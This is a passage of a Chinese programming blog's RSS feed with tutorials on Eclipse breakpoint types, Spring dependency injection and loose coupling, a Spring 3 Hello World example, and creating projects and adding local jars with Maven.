&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153246_rJtm.png&#34;&gt;&lt;img alt=&#34;15153246_rJtm&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4f5d2d716473a55f1e3b96a59ac07f700657452a.png&#34;&gt;&lt;/a&gt;
该条件表示，当程序运行到第20行时，只有当count为偶数时，程序才会被中断。细心地话，你会发现该断点的图标发生了改变，多了一个问号。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153246_5APe.png&#34;&gt;&lt;img alt=&#34;15153246_5APe&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/e3d69e5d5b31edbf729ce4522f9b21e2f5024f17.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Watchpoint&lt;/strong&gt;
Line Breakpoint关注于程序运行的&amp;quot;过程&amp;quot;，大家也常把使用这种断点的调试称为单步调试。但有时候，我们对程序的运行过程不太了解，可能也不太关心，不能确定在什么地方设置断点比较合适，而可能比较关注某个关键变量的变化或使用。此时，就可以为该变量设置一种特殊的断点&amp;ndash;Watchpoint。在此示例，我们最关心的就是成员变量value的值，那么就可以为它设置一个Watchpoint，双击第9行代码对应的左侧栏就可以了。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153246_zzEM.png&#34;&gt;&lt;img alt=&#34;15153246_zzEM&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/082e1647ca341b0f3549dcfc136ce278d73f4acb.png&#34;&gt;&lt;/a&gt;
使用在2中所提及的方法，查看该断点的属性，
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153246_e1gH.png&#34;&gt;&lt;img alt=&#34;15153246_e1gH&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f268f9ed80a672eeb51d164658a971d6777989b9.png&#34;&gt;&lt;/a&gt;
默认地，当该变量被访问或它的值被修改时，程序都会被中断。但在本示例中，只希望当对value的值进行修改时程序才需要被中断，所以取消对&amp;quot;Access&amp;quot;的勾选。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153246_evtw.png&#34;&gt;&lt;img alt=&#34;15153246_evtw&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1deb043f0baa72b61a76e794f7acf9d25762112c.png&#34;&gt;&lt;/a&gt;
这时，我们会发现原来的Watchpoin图标也有变化了。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153246_Sw8K.png&#34;&gt;&lt;img alt=&#34;15153246_Sw8K&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d2dff57a03768ac00b84dd9bb651e99031d94cdc.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Method Breakpoint&lt;/strong&gt;
与关注对某个变量的访问与修改一样，我们也可以关注程序对某个方法的调用情况，即，可以设置Method Breakpoint。在此处，设置针对方法setValue的Method Breakpoint。同理，双击第11行代码对应的左侧栏即可。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153247_xdH4.png&#34;&gt;&lt;img alt=&#34;15153247_xdH4&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/bd49da0a82d0dc044a917e5b53107b05b36f6378.png&#34;&gt;&lt;/a&gt;
仍然要查看该断点的属性。默认地，只勾选了&amp;quot;Entry&amp;quot;，而没有勾选&amp;quot;Exit&amp;quot;。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153247_W1oy.png&#34;&gt;&lt;img alt=&#34;15153247_W1oy&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7294186aaa782865383feb3a4e375a5a3b628c27.png&#34;&gt;&lt;/a&gt;
这表示，当刚进入该方法(调用开始)时，程序会被中断；而，离开该方法(调用结束)时，程序并不会被中断。在本示例中，需要同时勾选上&amp;quot;Exit&amp;quot;。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153247_QVwz.png&#34;&gt;&lt;img alt=&#34;15153247_QVwz&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/39f23217e1d0ead7061f1d636b97f52b6ee886fd.png&#34;&gt;&lt;/a&gt;
点击OK之后，可以看到该断点的图标也有所改变。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153247_YRMh.png&#34;&gt;&lt;img alt=&#34;15153247_YRMh&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/bdeda47c131aefb575366c4d23b16b3e0ee59321.png&#34;&gt;&lt;/a&gt;
根据这里的设置，当程序运行到第20行后会在第12行被中断，尽管这里没有显式的断点，但这就是setValue()方法的入口(Entry)。必须注意地是，程序在运行到第16行时不会被中断，尽管它看起来像是setValue()方法的出口(Exit)。实际上，程序会在第17行被中断，这里才是setValue()调用结束的地方。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Exception Breakpoint&lt;/strong&gt;
如果，我们期望某个特定异常发生时程序能够被中断，以方便查看当时程序所处的状态。通过设置Exception Breakpoint就能达到这一目标。本示例故意在第23行抛出了IllegalArgumentException异常，我们期望程序运行到此处时会被中断。但我们不直接为此行代码设置Line Breakpoint，而是为IllegalArgumentException设置Exception Breakpoint。设置Exception Breakpoint的方法与其它类型断点都不同，它不能通过双击左侧栏的方式在代码编辑器上直接进行设置。点击Breakpoints视图右上角形如Ji的图标，
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153247_Wm2U.png&#34;&gt;&lt;img alt=&#34;15153247_Wm2U&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d4f298befa3d1c0100aef36797c56bbc1d2a423c.png&#34;&gt;&lt;/a&gt;
会弹出如下所示的对话框，
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153248_WgLd.png&#34;&gt;&lt;img alt=&#34;15153248_WgLd&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/04e45e47d1e4248fd2ec8db8b13252e1c196e525.png&#34;&gt;&lt;/a&gt;
在其中选中IllegalArgumentException，并点击OK，这时一个Exception Breakpoint就设置好了。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153248_kE2O.png&#34;&gt;&lt;img alt=&#34;15153248_kE2O&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/fd555622458bbb34ad01929c6a7483768f6b37a8.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div&gt;当value为3的倍数时，程序会在第23行被中断，这时我们就能使用调试器来看看value具体是等于0，3或6。&lt;/div&gt;
**6\. Class Load Breakpoint**
还有一种大家平时可能不太用的断点--Class Load Breakpoint，即当某个类被加载时，通过该断点可以中断程序。
[![15153248_2UA6](/images/8158c897f4e784042063a484c7256901902b6c20.png)](http://leaverimage.b0.upaiyun.com/2013/11/15153248_2UA6.png)
&lt;p&gt;&lt;strong&gt;小结&lt;/strong&gt;
上述的Eclipse断点，我们在现实工作中肯定都有意或无意地使用过其中的几种，只是不一定十分了解内情罢了。使用好Eclipse的各种断点，可以把很好地帮助我们分析程序，定位问题。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Spring依赖注入</title>
      <link>http://blog.leaver.me/2013/09/20/spring%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Fri, 20 Sep 2013 19:06:00 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/20/spring%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;p&gt;在Spring框架中，依赖注入设计模式主要用来定义对象之间的依赖，存在两种主要类型&lt;/p&gt;
&lt;p&gt;1)setter注入(设置器)&lt;/p&gt;
&lt;p&gt;2)constructor注入(构造器)&lt;/p&gt;
&lt;h2 id=&#34;1setter注入&#34;&gt;1.Setter注入&lt;/h2&gt;
&lt;p&gt;是最流行最简单的DI方法，通过一个setter方法来完成依赖。&lt;/p&gt;
&lt;p&gt;例子：&lt;/p&gt;
&lt;p&gt;一个有一个setter方法的Helper类&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.output;

import com.mkyong.output.IOutputGenerator;

public class OutputHelper
{
	IOutputGenerator outputGenerator;

	public void setOutputGenerator(IOutputGenerator outputGenerator){
		this.outputGenerator = outputGenerator;
	}

}&lt;/pre&gt;
&lt;p&gt;再写一个bean配合iwenjianshengming这些bean，并且通过property(属性)标签来设置依赖&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34;
xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.5.xsd&#34;&amp;gt;

	&amp;lt;bean id=&#34;OutputHelper&#34; class=&#34;com.mkyong.output.OutputHelper&#34;&amp;gt;
		&amp;lt;property name=&#34;outputGenerator&#34;&amp;gt;
			&amp;lt;ref bean=&#34;CsvOutputGenerator&#34; /&amp;gt;
		&amp;lt;/property&amp;gt;
	&amp;lt;/bean&amp;gt;

&amp;lt;bean id=&#34;CsvOutputGenerator&#34; class=&#34;com.mkyong.output.impl.CsvOutputGenerator&#34; /&amp;gt;
&amp;lt;bean id=&#34;JsonOutputGenerator&#34; class=&#34;com.mkyong.output.impl.JsonOutputGenerator&#34; /&amp;gt;

&amp;lt;/beans&amp;gt;&lt;/pre&gt;
&lt;p&gt;看到了把。我们只需要一个setter方法把CsvOutputGenerator注入进去就行了&lt;/p&gt;
&lt;h2 id=&#34;2constructor注入&#34;&gt;2.Constructor注入&lt;/h2&gt;
&lt;p&gt;这种方式是通过一个构造函数来完成依赖设置的&lt;/p&gt;
&lt;p&gt;例子：&lt;/p&gt;
&lt;p&gt;一个有着一个构造函数的Helper类&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.output;

import com.mkyong.output.IOutputGenerator;

public class OutputHelper
{
	IOutputGenerator outputGenerator;

        OutputHelper(IOutputGenerator outputGenerator){
		this.outputGenerator = outputGenerator;
	}
}&lt;/pre&gt;
&lt;p&gt;然后当然是一个bean配置文件了。通过constructor-arg标签来写依赖&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34;
xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.5.xsd&#34;&amp;gt;

	&amp;lt;bean id=&#34;OutputHelper&#34; class=&#34;com.mkyong.output.OutputHelper&#34;&amp;gt;
		&amp;lt;constructor-arg&amp;gt;
                     &amp;lt;ref bean=&#34;JsonOutputGenerator&#34; /&amp;gt;
                 &amp;lt;/constructor-arg&amp;gt; 
       &amp;lt;/bean&amp;gt; 
       &amp;lt;bean id=&#34;CsvOutputGenerator&#34; class=&#34;com.mkyong.output.impl.CsvOutputGenerator&#34; /&amp;gt; 
       &amp;lt;bean id=&#34;JsonOutputGenerator&#34; class=&#34;com.mkyong.output.impl.JsonOutputGenerator&#34; /&amp;gt; 
&amp;lt;/beans&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;该选哪个&#34;&gt;该选哪个？&lt;/h2&gt;
&lt;p&gt;没有硬性规定，哪个合适就用那个，由于setter的简单性，一般还是setter用得多。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Spring松耦合示例</title>
      <link>http://blog.leaver.me/2013/09/20/spring%E6%9D%BE%E8%80%A6%E5%90%88%E7%A4%BA%E4%BE%8B/</link>
      <pubDate>Fri, 20 Sep 2013 15:50:46 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/20/spring%E6%9D%BE%E8%80%A6%E5%90%88%E7%A4%BA%E4%BE%8B/</guid>
      <description>&lt;p&gt;面向对象设计的理念是把整个系统分成一组可重用的组件，然而，当系统变得越大的时候，尤其是在java中，这最大的对象依赖将会紧紧耦合，以至于非常难以管理和修改，而现在，你可以使用Spring框架扮演一个中间模块的角色，方便高效地管理其他组件依赖&lt;/p&gt;
&lt;h2 id=&#34;输出生成的例子&#34;&gt;输出生成的例子&lt;/h2&gt;
&lt;p&gt;看个例子，假设你的项目有一个方法可以输出内容到csv或者json格式，你可能写出这样的代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;IOutputGenerator.java 输出生成器接口&#34;&gt;package com.mkyong.output;

public interface IOutputGenerator
{
	public void generateOutput();
}&lt;/pre&gt;
&lt;p&gt;，然后是实现接口的类&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;CsvOutputGenerator.java csv生成类&#34;&gt;package com.mkyong.output.impl;

import com.mkyong.output.IOutputGenerator;

public class CsvOutputGenerator implements IOutputGenerator
{
	public void generateOutput(){
		System.out.println(&#34;Csv Output Generator&#34;);
	}
}&lt;/pre&gt;
&lt;p&gt;再写个Json生成的类&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;JsonOutputGenerator.java json生成类&#34;&gt;package com.mkyong.output.impl;

import com.mkyong.output.IOutputGenerator;

public class JsonOutputGenerator implements IOutputGenerator
{
	public void generateOutput(){
		System.out.println(&#34;Json Output Generator&#34;);
	}
}&lt;/pre&gt;
&lt;p&gt;有好几种方法来调用IOutputGenerator接口，以及我们如何使用Spring来避免对象的过度耦合。&lt;/p&gt;
&lt;h2 id=&#34;方法1-直接调用&#34;&gt;方法1-直接调用&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.common;

import com.mkyong.output.IOutputGenerator;
import com.mkyong.output.impl.CsvOutputGenerator;

public class App 
{
    public static void main( String[] args )
    {
    	IOutputGenerator output = new CsvOutputGenerator();
    	output.generateOutput();
    }
}&lt;/pre&gt;
&lt;p&gt;问题：&lt;/p&gt;
&lt;p&gt;这种方法，output这个对象和CsvOutputGenerator耦合在了一起，每次要改变输出格式的话都要修改代码，如果这类代码遍布项目，那么改起来就跪了&lt;/p&gt;
&lt;h2 id=&#34;方法2-通过帮助类调用&#34;&gt;方法2-通过帮助类调用&lt;/h2&gt;
&lt;p&gt;也许你会想创建一个Helper类吧所有的output实现都移进去&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.output;

import com.mkyong.output.IOutputGenerator;
import com.mkyong.output.impl.CsvOutputGenerator;

public class OutputHelper
{
	IOutputGenerator outputGenerator;

	public OutputHelper(){
		outputGenerator = new CsvOutputGenerator();
	}

	public void generateOutput(){
		outputGenerator.generateOutput();
	}

}&lt;/pre&gt;
&lt;p&gt;然后可以这样调用&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package com.mkyong.common;

import com.mkyong.output.OutputHelper;

public class App 
{
    public static void main( String[] args )
    {
    	OutputHelper output = new OutputHelper();
    	output.generateOutput(); 
    }
}&lt;/pre&gt;
&lt;p&gt;问题：&lt;/p&gt;
&lt;p&gt;看起来似乎更加优雅了，你仅仅需要管理这个Helper类就可以实现不同格式的输出需求改变了，然而，Helper还是和CvsOutputGenerator耦合，每一次要改变输出格式的时候，都要对Helper类做一下微调。&lt;/p&gt;
&lt;h2 id=&#34;方法3-spring&#34;&gt;方法3-Spring&lt;/h2&gt;
&lt;p&gt;Spring依赖注入很合适，可以使不同的格式生成类分离开来&lt;/p&gt;</description>
    </item>
    <item>
      <title>Spring3实例入门-Hello World</title>
      <link>http://blog.leaver.me/2013/09/20/spring3%E5%AE%9E%E4%BE%8B%E5%85%A5%E9%97%A8-hello-world/</link>
      <pubDate>Fri, 20 Sep 2013 13:14:39 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/20/spring3%E5%AE%9E%E4%BE%8B%E5%85%A5%E9%97%A8-hello-world/</guid>
      <description>&lt;p&gt;每次看到hello world,都有一种说不出的赶脚，想起了一个程序员，退休后写毛笔字，取笔研磨铺纸，大笔一挥，写下了“hello world”。&lt;/p&gt;
&lt;h2 id=&#34;1使用maven生成项目结构&#34;&gt;1.使用Maven生成项目结构&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;mvn archetype:generate -DgroupId=com.mkyong.core -DartifactId=Spring3Example 
	-DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false&lt;/pre&gt;
&lt;h2 id=&#34;2转换成eclipse项目&#34;&gt; 2.转换成Eclipse项目&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;mvn eclipse:eclipse&lt;/pre&gt;
&lt;h2 id=&#34;3添加spring30-依赖&#34;&gt; 3.添加Spring3.0 依赖&lt;/h2&gt;
&lt;p&gt;在pom.xml文件里添加Spring 3.0 依赖，然后依赖会从Maven中央仓库自动下载&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;pom.xml&#34;&gt;&amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; 
	xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
	xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 
	http://maven.apache.org/maven-v4_0_0.xsd&#34;&amp;gt;
	&amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt;
	&amp;lt;groupId&amp;gt;com.mkyong.core&amp;lt;/groupId&amp;gt;
	&amp;lt;artifactId&amp;gt;Spring3Example&amp;lt;/artifactId&amp;gt;
	&amp;lt;packaging&amp;gt;jar&amp;lt;/packaging&amp;gt;
	&amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt;
	&amp;lt;name&amp;gt;Spring3Example&amp;lt;/name&amp;gt;
	&amp;lt;url&amp;gt;http://maven.apache.org&amp;lt;/url&amp;gt;

	&amp;lt;properties&amp;gt;
		&amp;lt;spring.version&amp;gt;3.0.5.RELEASE&amp;lt;/spring.version&amp;gt;
	&amp;lt;/properties&amp;gt;

	&amp;lt;dependencies&amp;gt;

		&amp;lt;!-- Spring 3 dependencies --&amp;gt;
		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;spring-core&amp;lt;/artifactId&amp;gt;
			&amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt;
		&amp;lt;/dependency&amp;gt;

		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;spring-context&amp;lt;/artifactId&amp;gt;
			&amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt;
		&amp;lt;/dependency&amp;gt;

	&amp;lt;/dependencies&amp;gt;
&amp;lt;/project&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;4spring-bean&#34;&gt; 4.Spring bean&lt;/h2&gt;
&lt;p&gt;写个简单的bean&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;HelloWorld&#34;&gt;package com.mkyong.core;

/**
 * Spring bean
 * 
 */
public class HelloWorld {
	private String name;

	public void setName(String name) {
		this.name = name;
	}

	public void printHello() {
		System.out.println(&#34;Spring 3 : Hello ! &#34; + name);
	}
}&lt;/pre&gt;
&lt;h2 id=&#34;5spring-bean配置文件&#34;&gt; 5.Spring bean配置文件&lt;/h2&gt;
&lt;p&gt;创建一个配置文件，在里面声明所有可用的Spring beans&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;SpringBeans.xml&#34;&gt;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34;
	xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
	xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans
	http://www.springframework.org/schema/beans/spring-beans-3.0.xsd&#34;&amp;gt;

	&amp;lt;bean id=&#34;helloBean&#34; class=&#34;com.mkyong.core.HelloWorld&#34;&amp;gt;
		&amp;lt;property name=&#34;name&#34; value=&#34;Mkyong&#34; /&amp;gt;
	&amp;lt;/bean&amp;gt;

&amp;lt;/beans&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;6最终的目录结构&#34;&gt; 6.最终的目录结构&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/Spring3-hello-world-example.png&#34;&gt;&lt;img alt=&#34;Spring3-hello-world-example&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/bbe4d8f74c9337766eb4a368bb71c6c0d09a248b.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;7运行&#34;&gt;7.运行&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;App.java&#34;&gt;package com.mkyong.core;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class App {
	public static void main(String[] args) {
		ApplicationContext context = new ClassPathXmlApplicationContext(
				&#34;SpringBeans.xml&#34;);

		HelloWorld obj = (HelloWorld) context.getBean(&#34;helloBean&#34;);
		obj.printHello();
	}
}&lt;/pre&gt;
&lt;h2 id=&#34;8输出&#34;&gt; 8.输出&lt;/h2&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Spring 3 : Hello ! Mkyong&lt;/pre&gt;
&lt;h2 id=&#34;9demo下载&#34;&gt; 9.Demo下载&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=2464458395&amp;amp;uk=1493685990&#34;&gt;Spring3-hello-world-example.zip &lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>使用Maven创建Web项目</title>
      <link>http://blog.leaver.me/2013/09/20/%E4%BD%BF%E7%94%A8maven%E5%88%9B%E5%BB%BAweb%E9%A1%B9%E7%9B%AE/</link>
      <pubDate>Fri, 20 Sep 2013 08:44:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/20/%E4%BD%BF%E7%94%A8maven%E5%88%9B%E5%BB%BAweb%E9%A1%B9%E7%9B%AE/</guid>
      <description>&lt;p&gt;本文通过Maven完成一个简单的Web项目（注意，Spring配置不是重点，看看就行）&lt;/p&gt;
&lt;h2 id=&#34;1从maven模板创建web应用程序&#34;&gt;1.从Maven模板创建Web应用程序&lt;/h2&gt;
&lt;p&gt;命令格式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn archetype:generate -DgroupId={project-packaging} -DartifactId={project-name} -DarchetypeArtifactId=maven-archetype-webapp -DinteractiveMode=false&lt;/pre&gt;
&lt;p&gt;这就告诉Maven从**maven-archetype-webapp **这个模板来创建&lt;/p&gt;
&lt;p&gt;友情提示：是不是太难记了..好吧，直接输入&lt;/p&gt;
&lt;pre&gt;mvn archetype:generate&lt;/pre&gt;
&lt;p&gt;根据向导来创建把。。&lt;/p&gt;
&lt;p&gt;比如我这样写：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;gt; mvn archetype:generate -DgroupId=com.mkyong -DartifactId=CounterWebApp -DarchetypeArtifactId=maven-archetype-webapp -DinteractiveMode=false
[INFO] Scanning for projects...
[INFO]                                                                         
[INFO] ------------------------------------------------------------------------
[INFO] Building Maven Stub Project (No POM) 1
[INFO] ------------------------------------------------------------------------
[INFO] 
[INFO] Generating project in Batch mode
[INFO] ----------------------------------------------------------------------------
[INFO] Using following parameters for creating project from Old (1.x) Archetype: maven-archetype-webapp:1.0
[INFO] ----------------------------------------------------------------------------
[INFO] Parameter: groupId, Value: com.mkyong
[INFO] Parameter: packageName, Value: com.mkyong
[INFO] Parameter: package, Value: com.mkyong
[INFO] Parameter: artifactId, Value: CounterWebApp
[INFO] Parameter: basedir, Value: /Users/mkyong/Documents/workspace
[INFO] Parameter: version, Value: 1.0-SNAPSHOT
[INFO] project created from Old (1.x) Archetype in dir: /Users/mkyong/Documents/workspace/CounterWebApp
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 3.147s
[INFO] Finished at: Thu Dec 20 20:35:19 MYT 2012
[INFO] Final Memory: 12M/128M
[INFO] ------------------------------------------------------------------------&lt;/pre&gt;
&lt;p&gt;就创建了一个包名为com.mkyong,类名为CounterWebApp的项目了&lt;/p&gt;
&lt;h2 id=&#34;2maven的web程序目录结构&#34;&gt;2.Maven的Web程序目录结构&lt;/h2&gt;
&lt;p&gt;标准的web.xml部署描述文件生成了&lt;/p&gt;
&lt;pre&gt;CounterWebApp
   |-src
   |---main
   |-----resources
   |-----webapp
   |-------index.jsp
   |-------WEB-INF
   |---------web.xml
   |-pom.xml&lt;/pre&gt;
&lt;p&gt;对结构有疑问的去&lt;a href=&#34;http://maven.apache.org/guides/introduction/introduction-to-the-standard-directory-layout.html&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Maven库依赖机制及添加自定义库</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E5%BA%93%E4%BE%9D%E8%B5%96%E6%9C%BA%E5%88%B6%E5%8F%8A%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E5%BA%93/</link>
      <pubDate>Thu, 19 Sep 2013 22:49:42 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E5%BA%93%E4%BE%9D%E8%B5%96%E6%9C%BA%E5%88%B6%E5%8F%8A%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E5%BA%93/</guid>
      <description>&lt;h1 id=&#34;一maven库依赖机制&#34;&gt;一.Maven库依赖机制&lt;/h1&gt;
&lt;p&gt;Maven的库依赖机制可以帮助我们自动下载依赖的库文件，并且还能更新版本。。&lt;/p&gt;
&lt;p&gt;考虑一个情境来理解机制的工作原理，假设我们要使用Log4J库作为项目的日志记录。以下是我们要做的&lt;/p&gt;
&lt;h2 id=&#34;1传统的方式&#34;&gt;1.传统的方式&lt;/h2&gt;
&lt;p&gt;1）访问Log4J网站&lt;a href=&#34;http://logging.apache.org/log4j/2.x/&#34;&gt;http://logging.apache.org/log4j/2.x/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2）下载Log4J的jar包&lt;/p&gt;
&lt;p&gt;3）复制进项目的classpath里&lt;/p&gt;
&lt;p&gt;4）手工包含到项目的依赖里&lt;/p&gt;
&lt;p&gt;看到没，你要从头做到尾，如果Log4J更新了，你得再来一遍。。&lt;/p&gt;
&lt;h2 id=&#34;2maven的方式&#34;&gt;2.Maven的方式&lt;/h2&gt;
&lt;p&gt;1）需要知道Log4J的Maven坐标(coordinates,这个暂时没想到好名字)，就是这样的东西&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;groupId&amp;gt;log4j&amp;lt;/groupId&amp;gt;
	&amp;lt;artifactId&amp;gt;log4j&amp;lt;/artifactId&amp;gt;
	&amp;lt;version&amp;gt;1.2.14&amp;lt;/version&amp;gt;&lt;/pre&gt;
&lt;p&gt;然后Maven就会自动下载1.2.14版本的Log4J了。如果version这个元素没有，那么如果有了新版本，Maven会自动下载新版本的。&lt;/p&gt;
&lt;p&gt;2）在pom.xml里声明这个Maven坐标&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;dependencies&amp;gt;
    &amp;lt;dependency&amp;gt;
	&amp;lt;groupId&amp;gt;log4j&amp;lt;/groupId&amp;gt;
	&amp;lt;artifactId&amp;gt;log4j&amp;lt;/artifactId&amp;gt;
	&amp;lt;version&amp;gt;1.2.14&amp;lt;/version&amp;gt;
    &amp;lt;/dependency&amp;gt;
&amp;lt;/dependencies&amp;gt;&lt;/pre&gt;
&lt;p&gt;3）当Maven编译或者build的时候，Log4J会自动下载，放入本地仓库里&lt;/p&gt;
&lt;p&gt;4）Maven全部接管&lt;/p&gt;
&lt;h2 id=&#34;3解释&#34;&gt;3.解释&lt;/h2&gt;
&lt;p&gt;搜索顺序前面说过了。本地-》中央-》远程仓库&lt;/p&gt;
&lt;p&gt;Maven坐标咋来的，当然去&lt;a href=&#34;http://search.maven.org/&#34;&gt;中央仓库搜索&lt;/a&gt;之了，搜索结果清晰的令人发指&lt;/p&gt;
&lt;h1 id=&#34;二添加自定义库到本地仓库&#34;&gt;二.添加自定义库到本地仓库&lt;/h1&gt;
&lt;p&gt;有两个情况，需要我们包含自定义的库到本地仓库里&lt;/p&gt;
&lt;p&gt;1是你想使用的jar文件不再中央仓库&lt;/p&gt;
&lt;p&gt;2是你创建了一个自定义的jar包，需要另一个项目使用这个jar&lt;/p&gt;
&lt;p&gt;比如，&lt;a href=&#34;http://code.google.com/p/kaptcha/&#34;&gt;kaptche&lt;/a&gt;，一个第三方的java库，生成验证码，现在中央仓库没有了。&lt;/p&gt;
&lt;p&gt;我们想要加到本地仓库里&lt;/p&gt;
&lt;h2 id=&#34;1mvn安装&#34;&gt;1.mvn安装&lt;/h2&gt;
&lt;p&gt;下载&lt;a href=&#34;http://code.google.com/p/kaptcha/&#34;&gt;kaptche&lt;/a&gt;，解压并且拷贝kaptcha-version.jar到其他任何你喜欢的地方，比如c盘，然后输入如下格式的命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn install:install-file -Dfile=c:\kaptcha-{version}.jar -DgroupId=com.google.code 
-DartifactId=kaptcha -Dversion={version} -Dpackaging=jar&lt;/pre&gt;
